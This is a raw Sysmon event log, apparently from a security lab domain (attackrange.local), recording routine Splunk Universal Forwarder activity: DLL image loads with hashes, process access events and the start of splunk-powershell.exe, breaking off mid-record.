CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.090{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000054271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.069{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.070{7BD73061-73F4-613B-890B-00000000F001}6772C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017401Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:21.752{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1FE36F2EBF41313A91738DBA01048BF5,SHA256=2A51ED330925EF7BB560C87516DBD538C406DE8869753C4B5A2784092A0569E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017400Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:21.751{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program 